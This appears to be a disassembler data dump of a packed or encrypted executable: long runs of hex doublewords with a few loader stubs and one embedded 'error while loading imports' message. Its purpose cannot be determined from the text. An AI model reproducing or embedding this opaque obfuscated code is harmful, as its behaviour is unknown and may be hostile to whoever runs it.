		dd 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh, 0D4A668CFh
		dd 0ECE90611h, 87FFF9A9h, 10CB5C84h, 45245BBDh,	0B8960A98h
		dd 611D541h, 4EBC503h, 5B27E563h, 0E77E9h, 0D7F16800h
		dd 0C4E90611h, 68FFF9A9h, 611D906h, 0F9A9BAE9h,	0D9FD68FFh
		dd 0B0E90611h, 68FFF9A9h, 611DAADh, 0F9A9A6E9h,	0DDFB68FFh
		dd 9CE90611h, 68FFF9A9h, 611E151h, 0F9A992E9h, 0E26168FFh
		dd 88E90611h, 71FFF9A9h, 0D8352E25h, 8667FCCDh,	709D467Bh
		dd 0DFC82B2Ah, 0DA79FAC5h, 1D207893h, 0EDD029C6h, 0B08F9976h
		dd 43142A3h, 0B63E32DFh, 0C585C8D2h, 9B0AE655h,	0AE94B28Dh
		dd 17FBDADEh, 0FC675EA6h, 9B41DAA2h, 5B2F166Ah,	9527C967h
		dd 60B71F68h, 0B5A9ED51h, 246ACB9Bh, 0FFC3BD9Fh, 0CCD4C10Bh
		dd 0FF8F57F1h, 2A3A60E5h, 46F57F8Eh, 0FE7EBC56h, 0C8E0D6D4h
		dd 0C178BAC4h, 93F77FEDh, 143A60E4h, 0EF1E002Eh, 0DA2C3505h
		dd 47h,	760D6F22h, 0F81540E4h, 0A09ABD9Eh, 11FC0EDCh, 44C807h
		dd 60C484C0h, 19370B3Ah, 60C43D4Dh, 5869BC3Ah, 0C4F305F4h
		dd 8B1A1070h, 518E52F7h, 9B532159h, 2E7BC2B2h, 32B3F513h
		dd 354F2FDEh, 151A2Ch, 0C8E20000h, 99Bh, 4C86B724h, 5A3B2B2Eh
		dd 25A9A0F3h, 0DED147E1h, 2C1B6DD5h, 0DAB8BF58h, 8FDE60ECh
		dd 1AC3B7ABh, 0A5273C09h, 96F7931Bh, 278C394h, 963054D8h
		dd 43B7C394h, 0F88319A5h, 9277FA72h, 0F2C8BD9Fh, 3256DE68h
		dd 0BB3A619Bh, 96EA5E61h, 0AC26D129h, 0AC9210E3h, 69F357F1h
		dd 983357DFh, 4EB43A61h, 98B4D4A0h, 33613A61h, 0A9FF2EB2h
		dd 4D62A9Eh, 6198E4E0h,	0F9176B3Ah, 3591E607h, 32C32Ch
		dd 6F2D0000h, 40E4760Dh, 0BD9F05D1h, 4A90645Eh,	90E84C5Bh
		dd 81E5D9ADh, 0CBB7D35Bh, 0C2383A60h, 0CB305024h, 0BFE53A60h
		dd 0C733DA2Eh, 121E2C35h, 0E6000001h, 0CFBB33BDh, 40C3941Dh
		dd 3441CC7Ah, 0BCC4B519h, 1D8BFF77h, 261CC394h,	7A8F7EC2h
		dd 9344CB9h, 0C5814185h, 4AC3941Dh, 0A2A81C70h,	2213723Dh
		dd 51FFC968h, 0F368ABFCh, 0A84FA28h, 0F591512Fh, 7AC39406h
		dd 0AF372C00h, 0C39403FFh, 46EE357Eh, 0C3940B02h, 9359BD85h
		dd 0B18C9401h, 0D7989CDh, 0EFC3940Bh, 940B0347h, 0C1BE84C3h
		dd 18944FF9h, 0DFA39EEDh, 0A529286Eh, 57DF0D61h, 0C3940B33h
		dd 0ADA04EB4h, 0EFF6D58h, 77BCF06h, 730961E9h, 0EFEA02E8h
		dd 40BD9F15h, 0DFBDF97Ah, 741E9644h, 0C7446D60h, 64BC69F3h
		dd 176D9A59h, 34EEDF28h, 351D8C6Ch, 0B2952h, 0ECDB2F00h
		dd 0B28F9677h, 43544A1h, 0E9E82EDFh, 0B8879D0Ah, 36D51CBBh
		dd 0E700D3E2h, 57B0A39Eh, 0ED7641h, 0F019DAF7h,	0CA90F478h
		dd 0A817C585h, 0FBDADE30h, 3B4FE771h, 8CC3941Dh, 1D582C40h
		dd 0EB2FC394h, 719E59F7h, 3357DF24h, 0B43C6BE2h, 7F896A4Eh
		dd 9F49888Eh, 760D6FB9h, 5D140E4h, 0C233BD9Fh, 0DE3286B3h
		dd 1BEFD330h, 60CBBBCBh, 0BB4A6E3Ah, 35C6A841h,	0DB812Ch
		dd 0DE6F0000h, 0E2E60ED5h, 65C3941Dh, 0E455391Dh, 4BBA19Ch
		dd 0D6258E67h, 0F032D1Dh, 4F3BB33Dh, 0C0C39452h, 0E8B84CFAh
		dd 69C39457h, 0CA3B211Ch, 81628CB9h, 0FBFD1364h, 2169D154h
		dd 0D5C9F40Dh, 55D96BF1h, 0C3941231h, 0E25D60B8h, 829A6E98h
		dd 69FB61FAh, 59CD5BF2h, 0C3032A0Ch, 0C3943E87h, 5A143208h
		dd 9F20C7D2h, 0C11268BDh, 704D5647h, 0ADB6C6D6h, 745E37BFh
		dd 7E2F446Dh, 6BE11E33h, 1EF29A3h, 0CD382206h, 0BA6B88B7h
		dd 1F905F66h, 568C6C6Bh, 0A141BFCh, 0CED80000h,	74836CF7h
		dd 22719E45h, 0C3DB342Fh, 728667FCh, 3A219043h,	7DE6D923h
		dd 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h, 0CC585C4h
		dd 50BDC7BDh, 0A69BE048h, 6C9AFED2h, 0BFA49BE1h, 0EB08454Eh
		dd 0F8D5DE2Dh, 63B3CD72h, 0E0F99109h, 483C0319h, 0E476DA74h
		dd 35D3EE39h, 61F2CFD8h, 3448941Ch, 9E3D2Fh, 0BAEED486h
		dd 9036EA15h, 58044186h, 9DA83CAEh, 0FFBD9F0Fh,	0F2C7DA40h
		dd 0C4D7191Bh, 0E9CD01F5h, 85FAC03Fh, 625FAA5Bh, 0F88CBA9Eh
		dd 0E2A53457h, 0EC7E0597h, 285CD062h, 0B193BB1Ah, 95ED6A69h
		dd 48E6D324h, 0B02B99BCh, 2094EEEDh, 0BDAFB4C8h, 0BA264129h
		dd 0ADC153F7h, 87816BD9h, 5DBA54AEh, 0B865F765h, 0A8EC5069h
		dd 816B2C58h, 0B15FA387h, 88C5CE3Fh, 274FD96Bh,	87816BA3h
		dd 6FE8D52Ah, 710FD2Bh,	0F8BC3DCAh, 13F73C3Dh, 91DBCh
		dd 0F8D72300h, 4E7B8A7Bh, 10297895h, 0E5DC22C3h, 0B48B917Eh
		dd 2AC128AFh, 9B74EFD6h, 4BA4BF82h, 34D1023Dh, 0FC0DD6E3h
		dd 0C48CF86Ch, 0B403C585h, 0F8D5DECCh, 0F3881414h, 1AC0C569h
		dd 8B45BD9Fh, 60E66763h, 0BE92E83Ah, 183741ACh,	0B73F49DBh
		dd 3A60E6D3h, 4DC06E54h, 2983993Bh, 388CE0DFh, 112C75C4h
		dd 817569ADh, 417D04BBh, 49753A5Fh, 0E4B3D79Fh,	3433A60h
		dd 333A60D4h, 9D08D269h, 0F6CABE85h, 99049658h,	88CCB08Fh
		dd 0C06B965Eh, 73DC446Bh, 5B76812Bh, 5BBF9367h,	55FD06F7h
		dd 43870B46h, 9A4BE06Fh, 50B28C69h, 86DFFh, 28277300h
		dd 0FECBDACBh, 40798865h, 152C7293h, 0E4DB21CEh, 7A91D87Fh
		dd 2BC41F26h, 9B74EFD2h, 44A1B28Dh, 2CDD0633h, 0C7DCA83Ch
		dd 0E453C585h, 760D6F7Ch, 299D40E4h, 2812BD9Fh,	97A2F5A4h
		dd 5F881645h, 0DF35B02Ch, 0CB3AB631h, 0DA3E82BDh, 0A72B2673h
		dd 3D48C563h, 0A1672FAh, 0A1993A60h, 990D9F4Dh,	3A600AEDh
		dd 4D788D62h, 87A185F9h, 90E6B83h, 0A474BE3h, 82F83A60h
		dd 481033Eh, 0BAB9889Fh, 600A5434h, 215643Ah, 0A5C54D8h
		dd 0AF933A60h, 7D4C5BB4h, 42524389h, 4109DD0Bh,	0BC3A600Bh
		dd 0B263E9E4h, 57B6506Dh, 5E27140h, 0B4252F2h, 6C99A317h
		dd 72022C1Dh, 3A600B42h, 1098156Fh, 0E06096E5h,	0EA3EFC52h
		dd 56B751B5h, 0A190E74Fh, 5E85F9DDh, 74E67900h,	604791F0h
		dd 0A9CC733Ah, 2B161BCEh, 6E54B35Dh, 9E934A9Ah,	0D122B600h
		dd 5B2F2271h, 0CEBF0367h, 39181ECAh, 0CCC471C5h, 0C0A84DC1h
		dd 0C48024B6h, 4B4606DCh, 0DC8BFF77h, 261C4606h, 951FAE08h
		dd 5D211C68h, 0BC6DCF79h, 95B7D2CDh, 1A9h, 4A50BD73h, 0BBC1DD0Bh
		dd 0B332BAA0h, 0BCBD9F16h, 1C699446h, 7EB468D7h, 81238200h
		dd 60130541h, 5CB08A3Ah, 201D6687h, 4004A83Ah, 0C93A6013h
		dd 0CF338CB3h, 0EB392921h
		dd 6AC5268Dh, 0F25B2F16h, 7826AAA7h, 0F3D3AF3Eh, 0B2C72CB9h
		dd 66B35C87h, 0A855E76Bh, 0BC51BA5Ch, 1CC6D55Bh, 0D6705438h
		dd 0B7ACB3C6h, 8D714056h, 65FECBDCh, 98427F88h,	77E2E60Eh
		dd 1D65B139h, 0C26C5DACh, 0FA72FC4Eh, 0B139778Eh, 470F3901h
		dd 20B3E3D5h, 8ABC23C1h, 726C5A4Dh, 8DC02778h, 84F8D291h
		dd 54BD486Ah, 0ED7643h,	0CCB82CF7h, 2EC3B62Fh, 0B62FC286h
		dd 827D45C3h, 679644B8h, 4B5A231Eh, 2078D07Eh, 0AC4A5359h
		dd 0A9AB7F19h, 1DECC060h, 10DA3E05h, 0C0011786h, 0B6D0D8ACh
		dd 776BAFC3h, 0D0790DD9h, 61CEC3B6h, 12C12518h,	2C90AFF5h
		dd 40AAADCCh, 0B6D0542Ch, 31422BC3h, 785CB004h,	59F90AFBh
		dd 0AF13774Ah, 379BBAFEh, 967F8E0Ah, 0E7D2258Dh, 43370E16h
		dd 0DFC82B0Fh, 0E1E509CAh, 66C3B6D1h, 5454381Ch, 84283245h
		dd 0C3B6D1C8h, 6CF87B5Fh, 0B0FD27CFh, 0B609483Ch, 5CFBDFC3h
		dd 98B64B3Fh, 0E15560B5h, 635AAA5Bh, 0ADD94D9Fh, 22C3B6E3h
		dd 0C34AE4D8h, 0DC369AB5h, 7432AD12h, 0FF816882h, 0B1565751h
		dd 236E9F64h, 9AA2262Eh, 4825C3B6h, 34280C3Dh, 98B5FE2Fh
		dd 92A5F434h, 9AB42448h, 0C73BC3B6h, 67638B15h,	0E8C3B69Ah
		dd 12F37492h, 2747CB02h, 8D1FCD52h, 5E11662Eh, 87A1FA62h
		dd 0B6329BFFh, 0CD166CC3h, 4150BD37h, 1A6FDE08h, 126A342Fh
		dd 9A4BE309h, 0D3BD9F23h, 0EDE7DEFh, 0C72286DEh, 28D597B1h
		dd 0F672E1DCh, 17C5F407h, 607FEB9Fh, 0E8067C3Ah, 5AD21365h
		dd 3A607F2Eh, 916559A1h, 0F2780399h, 6B784F7Ah,	176FC044h
		dd 0C60A428h, 3543B2B8h, 0B452B61Ah, 7D70A020h,	0AC0C9030h
		dd 3CC6FCF6h, 0F5675BA5h, 76E58C71h, 0B519614Eh, 4986B3C4h
		dd 9274B88Ch, 1F04FB4Fh, 25000005h, 8C79FAD1h, 7AAB4879h
		dd 24C1122Fh, 937CE7DEh, 16ADB689h, 0E9D42CCFh,	0B9849D0Ah
		dd 0C3B4DBAh, 0D0ED36D7h, 0FA72FE03h, 0C585C08Eh, 6FCAB201h
		dd 40E4760Dh, 0BD9F2419h, 0CFF60AFBh, 0B08D927Bh, 6D55B25Ch
		dd 0E8384999h, 7DEF3A60h, 43B551DEh, 8732F892h,	3A7125A5h
		dd 387A9488h, 0A1F627ADh, 3841289Ch, 795DB105h,	0E3BC6DCFh
		dd 0CD952C34h, 73000000h, 941D57A7h, 0B78E96C3h, 20759253h
		dd 0B90CE15h, 0E42EA70h, 0ECC3941Dh, 561D5E4Fh,	0FD06C964h
		dd 0C542ECC0h, 49DD6FFDh, 0C394B93Dh, 0B93357DFh, 4EB4C394h
		dd 0EB5F89F1h, 1FC4F102h, 35273C5Fh, 3E82BFC8h,	7DD8D01h
		dd 72568907h, 1D881AD4h, 0E134E608h, 874F5098h,	4DFBDFA3h
		dd 94A0C5B9h, 9C605AC3h, 7FEDD82Dh, 0C448858Eh,	38D6680h
		dd 0A0097DF1h, 7BF3C394h, 0C394A00Fh, 0E5DDBA80h, 1328734Bh
		dd 0A045A5C9h, 0B08AC394h, 1F227BAAh, 618557ABh, 0C394A065h
		dd 927690EAh, 93603252h, 28A5FFC3h, 0C8122972h,	946044A4h
		dd 0A5B78BC3h, 60F7931Bh, 278C394h, 5A8103E4h, 0CED7304Bh
		dd 247444F3h, 0E4FE6583h, 6000000h, 0E4760D6Fh,	9F299D40h
		dd 888E7FBDh, 84B5C049h, 0D532DC30h, 40E42F78h,	3A60F704h
		dd 7F53B78Bh, 0E0DD228Bh, 0C7542373h, 0F7F99115h, 891B3A60h
		dd 60F76165h, 729CE63Ah, 0D1EC3895h, 2735296Dh,	2D91A0F6h
		dd 1BCB3FE9h, 3C9FA554h, 0BA32DBFh, 3A60F77Fh, 0CC608AF0h
		dd 3A60F7B8h, 9B1DCB0Fh, 0F757F60Ah, 78722C34h,	0EE000000h
		dd 364CE83Fh, 6347BB0Fh, 33BD5FC5h, 941DCFBBh, 0DD7A40C3h
		dd 3995D73Fh, 3686A0E8h, 0E408D261h, 0C3943CE0h, 9DAF1367h
		dd 0A1152870h, 354AC36Dh, 0CFFA0FFEh, 943C4307h, 9AFEC4C3h
		dd 0F97A1D59h, 3CDBFB73h, 6E54C394h, 77EB509Ah,	26764560h
		dd 0F393638Dh, 3EC393DEh, 64336B7Ah, 79ED3242h,	3C6BDE0Dh
		dd 0F544B882h, 0EF2397A2h, 0EDCD618Bh, 423C6BDEh, 0DE1DFB78h
		dd 0E072F8D5h, 6DD1EC35h, 1DADD929h, 0D822C394h, 2673DA2Eh
		dd 51BCC82Bh, 4D817548h, 0FA811BA3h, 1971FC70h,	0FCC6BD9Fh
		dd 0E6A8D808h, 277D3A60h, 7BB52A6h, 32962C35h, 7E000000h
		dd 0E4760D6Fh, 9F05D140h, 90645EBDh, 60CB3050h,	0C068B13Ah
		dd 0DEA286BBh, 63B81C6Fh, 6B967A5Eh, 4FE29C29h,	89A05855h
		dd 0A02C35C6h, 10Fh, 4550BD4Ch,	0CCD98074h, 0D5C90DF1h
		dd 61C1D23Bh, 7CC0241Bh, 0C448778Dh, 41350015h,	17F90AFBh
		dd 2DD1010Bh, 94785C1Dh, 62B796B0h, 0A286B3C2h,	0BEC637B1h
		dd 0BD8EEF5Ch, 6347A448h, 0F98DBB9Fh, 0C3947DA9h, 7E4B5A4Bh
		dd 1D287DD0h, 1C154AC6h, 8EC3CE94h, 5639C63Ah, 0E26B858Eh
		dd 47B6A491h, 52DA003Fh, 0C394A636h, 0A3A741B9h, 0C02A314Bh
		dd 0DF1CCD5h, 28F28C12h, 4781E19h, 9CEF10FBh, 123C48B5h
		dd 0E22DD458h, 0B882BD9Fh, 9AA1FBBBh, 0CDD7C650h, 0A83C0EF2h
		dd 3A61ABDCh, 0DD0B6F53h, 6C3DF809h, 9BED1844h,	0BD8582ACh
		dd 1B3A7EAFh, 0E6D324D1h, 3A7EAF48h, 6C0BCC1Bh,	40C28C6Bh
		dd 1C98Fh, 4C7B8F00h, 122F7697h, 0E4D524C1h, 49888E7Fh
		dd 18277DAAh, 96757CDBh, 47A0B382h, 37D0033Eh, 0E00DD6E1h
		dd 50B9BA97h, 0FC701498h, 8F7C585h, 6EDADE90h, 0F35A2E23h
		dd 5FB397AAh, 1032E8Dh,	0C49A95B9h, 4B5C492Ah, 6F1FE57Eh
		dd 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h,	0E46867B1h
		dd 6CD0EF35h, 5832B3F1h, 1AEEFFA5h, 2C35C6F3h, 0E8DEh
		dd 0D5DE2600h, 54D8156Dh, 0C3941D30h, 9B6F43B7h, 0EFF43A7h
		dd 0EF47CB0Ah, 0C39418BFh, 1BD8F53Eh, 0D8AC99EAh, 926DAD12h
		dd 0AB78AF5Fh, 0E30D6158h, 0DC2FC1DBh, 0FC6389EDh, 9C1304C1h
		dd 267AC3CBh, 0F77FF11Fh, 4260B00Eh, 39106392h,	20CA300Fh
		dd 2195A0F5h, 95F7931Bh, 2783A60h, 0D484112Eh, 10BED120h
		dd 5B217DF6h, 90921AC0h, 5B446D23h, 0F46BF567h,	0B7F362F1h
		dd 0D002E67h, 992BC8F7h, 0D7E3E70Fh, 8B643072h,	84F84C73h
		dd 7D8786A0h, 0A37C8542h, 53B78C6Ch, 0B9FCh, 5C6BBF00h
		dd 221F6687h, 0F4C5D431h, 5978BE6Fh, 28176D9Ah,	86658CCBh
		dd 77904372h, 27C0132Eh, 907DE6D1h, 60A94A87h, 0FF606488h
		dd 18E7C585h, 0F91EBDA0h, 0D31CAB15h, 2078D573h, 0DC29C61Dh
		dd 64F672E1h, 946A84C0h, 19370BC3h, 0F8D5DE23h,	0C4D7C614h
		dd 563A1760h, 56AA1E72h, 754055B8h, 0C2ECB0EEh,	0BBA185BCh
		dd 8569F333h, 0D4067CBDh, 0B49D1067h, 8E5C0325h, 7A766266h
		dd 739DE53Ah, 0E8E52E9Fh, 0BC899A0Bh, 751218C8h, 60BA9F4Ch
		dd 5E6BBC65h, 221F6885h, 16618C5Eh, 91E6573Bh, 0AF9E48ACh
		dd 79E46857h, 3045AA3Bh, 0E431DE05h, 3A265E9h, 0CA000000h
		dd 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh
		dd 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 56CF7BCFh
		dd 0C681E689h, 4, 4BF57h, 0FE290000h, 2434875Fh, 6633685Ch
		dd 2C890000h, 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 81243489h, 4ECh, 24148900h, 35161BAh, 0CEF28131h, 89371284h
		dd 8B545AD5h, 0C4812434h, 4, 24048155h,	110E0BF6h, 5208468Fh
		dd 86D21BAh, 0F7E2D12Ah, 0C8EA81DAh, 299AE119h,	0FF5A0856h
		dd 835E2434h, 2C8B04C4h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0F99B62E9h, 5F16F7FFh,	0FCCF484h, 18A160B8h
		dd 11E33FB8h, 0FFC50306h, 425F9BE0h, 0AE634938h, 26D3A747h
		dd 0AAEB252Eh, 5C65ED47h, 17D0300Eh, 0C4529B37h, 0F95C7644h
		dd 0DEE53E27h, 0FFBB8868h
		dd 3925F403h, 6235A00Ah, 11ADB42Ch, 0FB34E130h,	48310D06h
		dd 0EB1E5E44h, 0E1920123h, 7DF46861h, 9D641542h, 9A4A1207h
		dd 28517E23h, 0E017E423h, 48E58066h, 1DF0496Eh,	405A2E5Dh
		dd 0F1141703h, 23F7E94Ah, 0A80D5950h, 7E85Ah, 2EF30000h
		dd 0D1910119h, 0F78B66EAh, 6E95Ah, 66890000h, 2177A38Ah
		dd 6F8AC281h, 0BB0000h,	0F8000000h, 811334FFh, 0F847A2D7h
		dd 0C081582Bh, 73BA9F11h, 9850Fh, 8D0F0000h, 3,	81F7B70Fh
		dd 0C8E12DE8h, 5AC08175h, 605718FAh, 0AE8h, 3B7BFE00h
		dd 2C28537Eh, 0F83DFA5Dh, 0F681665Eh, 50615666h, 0B15609B9h
		dd 1A048F78h, 7E9h, 0BBF63000h,	9BCEB098h, 1532C181h, 0EB83685Ah
		dd 2DBF6602h, 0FC4B4B39h, 910CFB81h, 850FFFFFh,	0FFFFFF8Ch
		dd 12A7BE66h, 0E59A8D8Dh, 6A0611h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 156BA2C3h, 892B92B3h
		dd 0B174D8Dh, 1985C706h, 4060B01h, 6A000060h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 4570C352h, 6E3EE4DCh, 6830F16h, 8B000000h, 0B08A1BDh
		dd 985C706h, 60B10h, 0B4000000h, 7DB5FFADh, 6A060B1Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0B442C353h, 0C595FFD3h, 6A060B0Ah, 0DD95FF00h
		dd 8B060B32h, 0C52AEBC0h, 1DCCA2D8h, 0C5FBCA61h, 0F11F91A7h
		dd 8422499Ch, 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h
		dd 0D2C29D5Ch, 6203294Bh, 127E92Dh, 5B500000h, 0EFAC7376h
		dd 154Eh, 6E410000h, 72724520h,	6820726Fh, 6F207361h, 72727563h
		dd 77206465h, 656C6968h, 616F6C20h, 676E6964h, 706D6920h
		dd 7374726Fh, 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h
		dd 0F7E30077h, 0E6000077h, 777h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 1E639F8Fh, 1C131134h
		dd 3CB735B1h, 61664239h, 9E35722Bh, 1177A9F2h, 90EF8832h
		dd 136D6E07h, 0A67CBFBFh, 0C699173Fh, 0A8E5D069h, 136D6DE3h
		dd 45715632h, 1177A961h, 90EF8832h, 136D6E07h, 0A56FBFBFh
		dd 0C699173Fh, 0D5EDD069h, 0F37BF9B1h, 1A662423h, 156601B6h
		dd 0F8E30532h, 0EA60559Fh, 8E3AFE2h, 0EA60009Ch, 50E34EE2h
		dd 43604F1Ah, 0BDDE705Ah, 40D3EEAEh, 98608321h,	1B1B5CB7h
		dd 9CB6DD34h, 1E73BCB7h, 0F8E30534h, 456055D4h,	0F0A8A7BFh
		dd 0EA361723h, 1E63A5A7h, 78E38334h, 15602935h,	0D3661132h
		dd 1E4ECDB7h, 7C0E0134h, 0EAE8505Bh, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 44E3ABE2h, 0D3601A13h, 1E4ECDB7h, 4B0E0734h
		dd 0EAFA4559h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 10E3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 3C0E1034h, 0EA88405Ah, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 1CE3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 0D70E0134h, 0EABC420Ah, 1E6D1087h, 18E30534h, 0EA604F0Bh
		dd 18E3ABE2h, 966000D4h, 1E6D918Fh, 90694434h, 15662277h
		dd 3D2394F4h, 7D238E39h, 0EF463AB4h, 1E6797CDh,	90EB1739h
		dd 136DB13Fh, 90EF94CDh, 1377C423h, 3D2394F4h, 7D2A8E39h
		dd 0F54094F1h, 1E6797CDh, 90EB1739h, 136DB13Fh,	90EF94CDh
		dd 1377C427h, 156651DBh, 50E34E32h, 47604F1Ah, 5F822F5Ah
		dd 0D3EE8Eh, 9860831Bh,	1E5F49B7h, 9CB6DD34h, 48000B7h
		dd 50E34E34h, 47604F1Ah, 592C6A5Ah, 0D3EE94h, 9860831Bh
		dd 1E5F49B7h, 9CB6DD34h, 48004B7h, 50E34E34h, 47604F1Ah
		dd 57D2C85Ah, 14D3EECFh, 98608339h, 1E5F49B7h, 9CB6DD34h
		dd 1E71B0B7h, 50E34E34h, 62604F1Ah, 82CE815Ah, 0D3EEC1h
		dd 98608331h, 1E5F49B7h, 9CB6DD34h, 1E4C44B7h, 50E34E34h
		dd 47604F1Ah, 0C857355Ah, 14D3EEB8h, 98608339h,	1E5F49B7h
		dd 9CB6DD34h, 1E4898B7h, 50E34E34h, 43604F1Ah, 0A0B1B5Ah
		dd 40D3EEE6h, 98608321h, 1B1B5CB7h, 9CB6DD34h, 1E7F64B7h
		dd 50E34E34h, 52604F1Ah, 0C976585Ah, 14D3EEB3h,	98608339h
		dd 1E5F49B7h, 9CB6DD34h, 1E6BF0B7h, 50E34E34h, 52604F1Ah
		dd 1AD3C05Ah, 14D3EEB8h, 98608339h, 1E5F49B7h, 9CB6DD34h
		dd 48024B7h, 34DB0B34h,	15604F32h, 1337A63Dh, 90A01132h
		dd 136DA077h, 98F2C7Eh,	0A099FBE8h, 136D1A33h, 2C6B0DBFh
		dd 0C5994239h, 0F347A7BBh, 90A01723h, 136DA077h, 0CBA82C7Eh
		dd 0A099FF46h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F343A7BBh
		dd 90A01723h, 136DA077h, 97592C7Eh, 0A09995B3h,	136D1A33h
		dd 2C6B0DBFh, 0C5994239h, 0F34FA7BBh, 90A01723h, 136DA077h
		dd 557E2C7Eh, 0A099911Dh, 136D1A33h, 2C6B0DBFh,	0C5994239h
		dd 0F34FA7BBh, 90A01723h, 136DA077h, 13722C74h,	0A09998ECh
		dd 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F357A7BBh, 90A01723h
		dd 136DA077h, 51C2C75h,	0A099A3EEh, 136D1A33h, 2C6B0DBFh
		dd 0C5994239h, 0F35FA7BBh, 90A01723h, 136DA077h, 9BCA2C75h
		dd 0A099CDB5h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F35BA7BBh
		dd 90A01723h, 136DA077h, 0B2B42C75h, 0A099F6A8h, 136D1A33h
		dd 2C6B0DBFh, 0C5994239h, 0F327A7BBh, 90A01723h, 136DA077h
		dd 2C622C75h, 0A09998F3h, 136D1A33h, 2C6B0DBFh,	0C5994239h
		dd 0F323A7BBh, 0A8E51723h, 136DA8CFh, 0D3463132h, 1E4E67B7h
		dd 720E5634h, 0EA86FA1Fh, 1E6D4587h, 18E3AF34h,	0EA601A0Bh
		dd 5CE301E2h, 0D36055D4h, 1E4E67B7h, 0A40E5634h, 0EAE8A181h
		dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 58E301E2h,	0D36055D4h
		dd 1E4E67B7h, 0B20E5234h, 0EAA6FE78h, 1E6D4587h, 18E3AF34h
		dd 0EA601A0Bh, 44E301E2h, 0D36055D4h, 1E4E67B7h, 0FE0E5D34h
		dd 0EA9DEE5Eh, 1E655187h, 18E3AF34h, 0EA601A0Bh, 0F0E301E2h
		dd 0D36055D4h, 1E4E67B7h, 400E5534h, 0EADDFBBCh, 1E6D4587h
		dd 18E3AF34h, 0EA601A0Bh, 40E301E2h, 0D36055D4h, 1E4E67B7h
		dd 0E90E5234h, 0EADA065Ch, 1E6D4587h, 18E3AF34h, 0EA601A0Bh
		dd 4CE301E2h, 0D36055D4h, 1E4E67B7h, 0BF0E4234h, 0EAA0980Ch
		dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 48E301E2h,	966055D4h
		dd 1E60B38Fh, 91691134h, 156688D2h, 3D23C1F4h, 7D202439h
		dd 0EFF0DF03h, 1E673DCDh, 90EB4239h, 136D1B3Fh,	90EFC1CDh
		dd 13776E8Bh, 3D23C1F4h, 7D202439h, 0E9C12BE4h,	1E673DCDh
		dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EFBh, 3D23C1F4h
		dd 7D202439h, 879AB532h, 1E673DCDh, 90EB4239h, 136D1B3Fh
		dd 90EFC1CDh, 13776EFFh, 3D23C1F4h, 7D202439h, 0E3B25E58h
		dd 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EE3h
		dd 3D23C1F4h, 7D202439h, 81AB41D5h, 1E673DCDh, 90EB4239h
		dd 136D1B3Fh, 90EFC1CDh, 13776E8Fh, 3D23C1F4h, 7D202439h
		dd 0A4446509h, 1E673DCDh, 90EB4239h, 136D1B3Fh,	90EFC1CDh
		dd 13776EF3h, 3D23C1F4h, 7D202439h, 0CA1FFBDFh,	1E673DCDh
		dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EF7h, 359BF9B1h
		dd 60662439h, 50E3D712h, 4660831Ah, 0AB861A5Ah,	14D3DDFCh
		dd 98601A39h, 1E5F85B7h, 9CB6BB34h, 48043B7h, 50E3D734h
		dd 5260831Ah, 0A438C35Ah, 14D3DDF5h, 98601A39h,	1E5F85B7h
		dd 9CB6BB34h, 48047B7h,	0E8DB9234h, 15608312h, 90A06447h
		dd 136D0A77h, 6B637975h, 0A0996E50h, 136D4F33h,	2C6BA7BFh
		dd 0C5991739h, 0F30F0DBBh, 90A04223h, 136D0A77h, 1C907971h
		dd 0A0991A48h, 136D4F33h, 2C6BA7BFh, 0C5991739h, 0F30B0DBBh
		dd 90A04223h, 136D0A77h, 82467971h, 0A0997413h,	136D4F33h
		dd 2C6BA7BFh, 0C5991739h, 0F3170DBBh, 0A8E54223h, 136D02CFh
		dd 0D3266432h, 1E4ECDB7h, 160E0734h, 0EAED229Ah, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 6CE3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 0C00E0734h, 0EA837904h, 1E6D1087h, 18E30534h, 0EA604F0Bh
		dd 60E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0F40E0734h, 0EA8C8800h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 68E3ABE2h,	0D36000D4h
		dd 1E4ECDB7h, 220E0734h, 0EAE2D39Eh, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 94E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0C10E0B34h
		dd 0EAF117A2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 90E3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 170E0B34h, 0EA9F4C3Ch, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 9CE3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 5C0E0934h, 0EAAE154Bh, 1E6D1087h, 18E30534h,	0EA604F0Bh
		dd 84E3ABE2h, 0D36000D4h, 1E4ECDB7h, 9C0E0934h,	0EABAD57Fh
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 98E3ABE2h,	0D36000D4h
